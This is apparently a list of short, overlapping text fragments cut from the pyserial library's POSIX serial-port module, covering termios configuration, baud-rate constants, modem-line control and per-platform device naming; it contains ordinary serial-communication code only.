vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0 or\",\n \"= bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read)\",\n \"~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts\",\n \"TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ =\",\n \"devices, at least on Linux, show the # behavior that they are always\",\n \"= os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout\",\n \"all data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input buffer, discarding all that\",\n \"8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to set up high speeds\",\n \"Disconnected devices, at least on Linux, show the # behavior that they are\",\n \"list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store\",\n \"def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When active, no transmitting is possible.\\\"\\\"\\\"\",\n \"while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used\",\n \"iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF)\",\n \"TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and\",\n \"if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal\",\n \"'freebsd' or \\\\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def\",\n \"return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know how to\",\n \"set custom divisor buf[6] = buf[7] / baudrate # update flags buf[4] &=\",\n \"try: n = os.write(self.fd, d) if timeout: # when timeout is set, use\",\n \"getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) < size: # print \\\"\\\\tread(): size\\\",size,\",\n \"< 8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not supported\\\") def device(port): return\",\n \"with a brave attempt to build a device name # even if the\",\n \"reports error (poll)') # we don't care if it is select.POLLIN or timeout,\",\n \"# but reading returns nothing. raise SerialException('device reports readiness to read but returned\",\n \"on many systems def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial port.\",\n \"status line: Carrier Detect\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,\",\n \"set_special_baudrate(port, baudrate): # use IOKit-specific call to set up high speeds import array,\",\n \"len(data) def flush(self): \\\"\\\"\\\"Flush of file like objects. In this case, wait until\",\n \"ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf =\",\n \"Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this is\",\n \"flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS,\",\n \"is None: raise portNotOpenError t = len(data) d = data if self._writeTimeout is\",\n \"workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST)\",\n \"this case, wait until all data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input\",\n \"original exception that happened when setting up pass self.fd = None raise else:\",\n \"0 # timeout is done via select if self._interCharTimeout is not None: vmin\",\n \"for non blocking\\\" if vmin < 0 or vmin > 255: raise ValueError('Invalid\",\n \"def flowControl(self, enable): \\\"\\\"\\\"manually control flow - when hardware or software flow control\",\n \"self.fd is None: raise portNotOpenError t = len(data) d = data if self._writeTimeout\",\n \"for the first serial port. e.g. 'first serial port: /dev/ttyS0' and with a\",\n \"If select was used with a timeout, and the timeout occurs, it #\",\n \"= os.read(self.fd, size-len(read)) # read should always return some data as select reported\",\n \"hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I',\",\n \"output buffer, aborting the current output and discarding all that is in the\",\n \"= struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK =\",\n \"new I/O # library, derrive from io.RawIOBase try: import io except ImportError: #\",\n \"0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif\",\n \"need custom baud rate, it isn't in our list. ispeed = ospeed =\",\n \"bit luck you can get this module running... \\\"\\\"\\\" % (sys.platform, os.name, VERSION))\",\n \"as some constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS\",\n \"hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or\",\n \"* 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6]\",\n \"TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and\",\n \"it'll fail here raise SerialException(\\\"Could not configure port: %s\\\" % msg) # set\",\n \"port configuration is done with termios and fcntl. Runs on Linux and many\",\n \"if timeout: # when timeout is set, use select to wait for being\",\n \"the serial port instance with select. WARNING: this function is not portable to\",\n \"that they are always ready to read immediately # but reading returns nothing.\",\n \"is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD.\",\n \"115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000:\",\n \"self._port is None: raise SerialException(\\\"Port must be configured before it can be used.\\\")\",\n \"discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different\",\n \"\\\"\\\"\\\"Read size bytes from the serial port. If a timeout is set it\",\n \"portNotOpenError read = bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) #\",\n \"bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) <\",\n \"To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str)\",\n \"= buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST\",\n \"else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number ttys\",\n \"and self._interCharTimeout > 0)) and not buf: break # early abort on timeout\",\n \"(TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate\",\n \"= hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG\",\n \"# version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not supported\\\") def\",\n \"over the serial port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError t = len(data)\",\n \"= hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str =\",\n \"termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise\",\n \"hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or\",\n \"number of characters currently in the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD,\",\n \"(eg /dev/ttyS1) or send this information to ! the author of this module:\",\n \"# cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port,\",\n \"systems, like Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> #\",\n \"0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL\",\n \"above can support arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate):\",\n \"wait for being ready # with the time left as timeout timeleft =\",\n \"be read. = for non blocking\\\" if vmin < 0 or vmin >\",\n \"& TIOCM_CD != 0 # - - platform specific - - - -\",\n \"and discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is None: raise\",\n \"platform\\\") baudrate_constants = {} elif plat[:3] == 'aix': # AIX def device(port): return\",\n \"first serial port. e.g. 'first serial port: /dev/ttyS0' and with a bit luck\",\n \"cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0 or vtime > 255:\",\n \"s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self):\",\n \"self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5\",\n \"set, use select to wait for being ready # with the time left\",\n \"'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError:\",\n \"not ready: break # timeout buf = os.read(self.fd, size-len(read)) # read should always\",\n \"BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"0 or vtime > 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] =\",\n \"of stop bits timeout=3, # set a timeout value, None for waiting forever\",\n \"for waiting forever xonxoff=0, # enable software flow control rtscts=0, # enable RTS/CTS\",\n \"will block until the requested number of bytes is read.\\\"\\\"\\\" if self.fd is\",\n \"cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same\",\n \"# references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time from\",\n \"setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE:\",\n \"[0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor\",\n \"cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize ==\",\n \"with our own file-like emulation class Serial(PosixSerial, FileLike): pass else: # io library\",\n \"the port # also to keep original exception that happened when setting up\",\n \"constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios\",\n \"< size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used with a\",\n \"def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def\",\n \"hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or\",\n \"TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1')\",\n \"cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'):\",\n \"= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - -\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:3] == 'aix':\",\n \"None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def\",\n \"== 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port,\",\n \"termios and fcntl. Runs on Linux and many other Un*x like systems.\\\"\\\"\\\" def\",\n \"I/O # library, derrive from io.RawIOBase try: import io except ImportError: # classic\",\n \"vtime if vtime < 0 or vtime > 255: raise ValueError('Invalid vtime: %r'\",\n \"0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed)\",\n \"not None: os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self, port): return\",\n \"0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial port configuration is done\",\n \"try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate:\",\n \"# use IOKit-specific call to set up high speeds import array, fcntl buf\",\n \"try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception when closing the\",\n \"Python version as some constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS\",\n \"plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def\",\n \"or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS,\",\n \"but reading returns nothing. raise SerialException('device reports readiness to read but returned no\",\n \"io.RawIOBase try: import io except ImportError: # classic version with our own file-like\",\n \"self._timeout >= 0) or (self._interCharTimeout is not None and self._interCharTimeout > 0)) and\",\n \"getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear To Send\\\"\\\"\\\" if self.fd is None: raise\",\n \"Serial port configuration is done with termios and fcntl. Runs on Linux and\",\n \"if a port is nonexistent but has a /dev file, it'll fail here\",\n \"non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:3] ==\",\n \"& TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if\",\n \"characters as requested. With no timeout it will block until the requested number\",\n \"baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk\",\n \"as msg: self.fd = None raise SerialException(\\\"could not open port %s: %s\\\" %\",\n \"None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI !=\",\n \"or vmin > 255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] =\",\n \"line: Carrier Detect\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET,\",\n \"'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416\",\n \"# library, derrive from io.RawIOBase try: import io except ImportError: # classic version\",\n \"flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting the current output and discarding all that is\",\n \"def getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear To Send\\\"\\\"\\\" if self.fd is None:\",\n \"sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number ttys on this system. ! Use an\",\n \"can get this module running... \\\"\\\"\\\" % (sys.platform, os.name, VERSION)) # no exception,\",\n \"buffer # vmin \\\"minimal number of characters to be read. = for non\",\n \"tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't\",\n \"0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015,\",\n \"file descriptor\\\") custom_baud = None vmin = vtime = 0 # timeout is\",\n \"baud rate on this platform\\\") baudrate_constants = {} else: # platform detection has\",\n \"errors, such as a device disconnecting while it's in use (e.g. USB-serial unplugged)\\\"\\\"\\\"\",\n \"implementation and the base # for file-like behavior. for Python 2.6 and newer,\",\n \"(C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a free software license,\",\n \"baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return\",\n \"int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd)\",\n \"> 255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin #\",\n \"if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output buffer,\",\n \"current settings. This may throw a SerialException if the port cannot be opened.\\\"\\\"\\\"\",\n \"file-like behavior. for Python 2.6 and newer, that provide the new I/O #\",\n \"provide the new I/O # library, derrive from io.RawIOBase try: import io except\",\n \"import array buf = array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL,\",\n \"rate not supported\\\") def device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif\",\n \"hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or\",\n \"in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self,\",\n \"status line: Clear To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s =\",\n \"ValueError('Invalid parity: %r' % self._parity) # setup flow control # xonxoff if hasattr(TERMIOS,\",\n \"{} elif plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d' % (port)\",\n \"0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005,\",\n \"not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal -\",\n \"None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When\",\n \"t - n except OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write\",\n \"# assemble Serial class with the platform specifc implementation and the base #\",\n \"% (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non\",\n \"this platform\\\") baudrate_constants = {} elif plat[:3] == 'bsd' or \\\\ plat[:7] ==\",\n \"% (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non\",\n \"TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation,\",\n \"a free software license, see license.txt # # parts based on code from\",\n \"self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &=\",\n \"<<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct,\",\n \"to use values from TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS,\",\n \"vmin \\\"minimal number of characters to be read. = for non blocking\\\" if\",\n \"if self.fd is None: raise SerialException(\\\"Can only operate on a valid file descriptor\\\")\",\n \"s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self):\",\n \"and fcntl. Runs on Linux and many other Un*x like systems.\\\"\\\"\\\" def open(self):\",\n \"# activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) #\",\n \"(sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl # try to detect\",\n \"\\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd = None\",\n \"that provide the new I/O # library, derrive from io.RawIOBase try: import io\",\n \"must be configured before it can be used.\\\") # open try: self.fd =\",\n \"non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:4] ==\",\n \"= hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST\",\n \"(TERMIOS.CSTOPB) # XXX same as TWO.. there is no POSIX support for 1.5\",\n \"FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use of the serial port instance with\",\n \"isn't in our list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud =\",\n \"name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should\",\n \"device() and set_special_baudrate() function # for the platform plat = sys.platform.lower() if plat[:5]\",\n \"0)) and not buf: break # early abort on timeout return bytes(read) if\",\n \"device name # even if the device name is not correct for the\",\n \"self.fd = None self._isOpen = False def makeDeviceName(self, port): return device(port) # -\",\n \"not buf: # Disconnected devices, at least on Linux, show the # behavior\",\n \"os.read(self.fd, size-len(read)) # read should always return some data as select reported it\",\n \"nothing. raise SerialException('device reports readiness to read but returned no data (device disconnected?)')\",\n \"{} #~ raise Exception, \\\"this module does not run on this platform, sorry.\\\"\",\n \"460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000:\",\n \"raise SerialException(\\\"sorry don't know how to handle non standard baud rate on this\",\n \"hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or\",\n \"handle non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:2]\",\n \"device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"read should always return some data as select reported it was # ready\",\n \"|= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits\",\n \"\\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"len(read) < size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug # wait until\",\n \"None vmin = vtime = 0 # timeout is done via select if\",\n \"keep original exception that happened when setting up pass self.fd = None raise\",\n \"Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &=\",\n \"parameters on opened port.\\\"\\\"\\\" if self.fd is None: raise SerialException(\\\"Can only operate on\",\n \"not None: vmin = 1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag,\",\n \"230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000:\",\n \"{} elif plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' %\",\n \"block should supply a device() and set_special_baudrate() function # for the platform plat\",\n \"handle non standard baud rate on this platform\\\") baudrate_constants = {} #~ raise\",\n \"1) else: # version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not\",\n \"0 # - - platform specific - - - - def drainOutput(self): \\\"\\\"\\\"internal\",\n \"is not portable to different platforms!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError return\",\n \"134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800:\",\n \"# print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug # wait until device becomes ready\",\n \"buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return\",\n \"struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\"\",\n \"'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010\",\n \"just need to know the device names. # load some constants for later\",\n \"port with current settings. This may throw a SerialException if the port cannot\",\n \"or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS,\",\n \"is done via select if self._interCharTimeout is not None: vmin = 1 vtime\",\n \"# # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time\",\n \"len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize\",\n \"is not correct for the platform it has chances # to work using\",\n \"self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls\",\n \"0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015,\",\n \"# ignore any exception when closing the port # also to keep original\",\n \"(partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names depending\",\n \"for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error\",\n \"elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification:\",\n \"line: Data Terminal Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd,\",\n \"if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion <\",\n \"if vtime < 0 or vtime > 255: raise ValueError('Invalid vtime: %r' %\",\n \"names depending on flow control def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"None raise SerialException(\\\"could not open port %s: %s\\\" % (self._port, msg)) #~ fcntl.fcntl(self.fd,\",\n \"the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear\",\n \"is not None: vmin = 1 vtime = int(self._interCharTimeout * 10) try: iflag,\",\n \"self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be\",\n \"def write(self, data): \\\"\\\"\\\"Output the given string over the serial port.\\\"\\\"\\\" if self.fd\",\n \"TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom baud rate,\",\n \"to read immediately # but reading returns nothing. raise SerialException('device reports readiness to\",\n \"a warning if setting up rtscts (and xonxoff etc) fails?? # buffer #\",\n \"level=1): \\\"\\\"\\\"Set break: Controls TXD. When active, no transmitting is possible.\\\"\\\"\\\" if self.fd\",\n \"os.uname()[2].split('.') # Tiger or above can support arbitrary serial speeds if int(version[0]) >=\",\n \"number ttys on this system. ! Use an explicit path (eg /dev/ttyS1) or\",\n \"8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize\",\n \"except: # ignore any exception when closing the port # also to keep\",\n \"RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n' % s.read(5)) sys.stdout.write('%s\\\\n'\",\n \"portable to different platforms!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError return self.fd def\",\n \"|= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5:\",\n \"= hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR\",\n \"custom_baud = None vmin = vtime = 0 # timeout is done via\",\n \"not None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is\",\n \"and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 